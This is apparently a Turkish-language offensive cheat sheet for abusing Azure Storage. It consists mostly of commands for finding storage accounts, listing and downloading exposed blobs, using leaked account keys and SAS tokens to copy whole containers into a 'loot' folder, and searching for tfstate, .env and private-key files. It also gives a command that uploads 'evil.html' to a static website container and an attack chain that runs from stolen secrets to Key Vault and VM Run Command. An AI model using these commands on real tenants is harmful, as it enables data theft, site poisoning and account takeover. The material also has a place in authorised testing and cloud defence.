Skip to content

Azure — Storage & Blob Suistimatı

Azure veri ifşası

Azure Storage, AWS S3’ün karşılığıdır ve benzer yanlış yapılandırma riskleri taşır: anonim erişime açık blob container’lar, sızmış access key veya aşırı yetkili SAS token’lar toplu veri sızıntısına ve bazen yazma/zehirlemeye yol açar.

- Storage account adı (tahmin / DNS / OSINT / cloud_enum / MicroBurst)
- veya az kimliği ile list-storage yetkisi
- Container / blob adı (listeleme açıksa veya tahmin)
Terminal window
curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
Terminal window
curl -sI "https://<account>.blob.core.windows.net/<container>/<blob>"
Terminal window
cloud_enum -k <sirket>
Terminal window
Invoke-EnumerateAzureBlobs -Base <sirket>
Terminal window
Invoke-EnumerateAzureSubDomains -Base <sirket>

Kimlikli:

Terminal window
az storage account list -o table
Terminal window
az storage account show -n ACC -g RG
Terminal window
az storage container list --account-name ACC --auth-mode login -o table
Terminal window
az storage blob list --account-name ACC -c data --auth-mode login -o table

Account adı global benzeri benzersizdir; sirket, sirketprod, sirketbackup, sirkettfstate kalıpları yaygındır.

  1. Anonim public erişim — container erişim düzeyi Blob/Container ise listeleme veya doğrudan blob indirme kimlik gerektirmez:

    Terminal window
    curl -sL "https://acc.blob.core.windows.net/public/config.json"
    Terminal window
    az storage blob download --account-name acc -c public -n config.json \
    --file out.json --auth-mode anonymous 2>/dev/null
  2. Access key — sızmış hesap anahtarıyla neredeyse tam kontrol:

    Terminal window
    az storage account keys list -n ACC -g RG -o table
    Terminal window
    az storage blob list --account-name ACC --account-key <KEY> -c data
    Terminal window
    az storage blob download-batch --account-name ACC --account-key <KEY> \
    -s data -d ./loot
  3. SAS token — URL’ye gömülü imzalı token; sp (izin), se (expiry), srt / ss kapsamını incele:

    https://acc.blob.core.windows.net/data/file?sv=2021-06-08&ss=b&srt=sco&sp=rwdl&se=2027-01-01&sig=...
    # sp=rwdl → read,write,delete,list — aşırı geniş
    Terminal window
    az storage blob list --account-name ACC -c data --sas-token "sv=...&sig=..."
Terminal window
az storage share list --account-name ACC --account-key KEY
Terminal window
az storage file list --account-name ACC --account-key KEY -s sharename
Terminal window
sudo mount -t cifs //ACC.file.core.windows.net/share /mnt \
-o vers=3.0,username=ACC,password=<KEY>,dir_mode=0777,file_mode=0777
terraform.tfstate / *.tfstate
connection strings, publish profiles (App Service)
*.pfx, *.pem, id_rsa, .env
SQL bacpac / bak / csv dump
Function / Logic App deployment packages
IIS / web.config, appsettings.json
Terminal window
az storage blob list --account-name ACC --account-key KEY -c backups \
--query "[?contains(name, 'tfstate') || contains(name, '.env')]"
Terminal window
az storage blob upload --account-name ACC --account-key KEY \
-c \$web -n index.html -f evil.html
Terminal window
az storage account show -n ACC --query primaryEndpoints.web
cloud_enum → public container
→ tfstate içinde client_secret
→ az login --service-principal
→ Key Vault + VM list
→ Run Command / ikinci storage key

Storage genelde diğer servislerle zincirlenir: Function/App kodu, IaC state dosyaları, yedekler ve loglar; Azure privesc ile birleştir.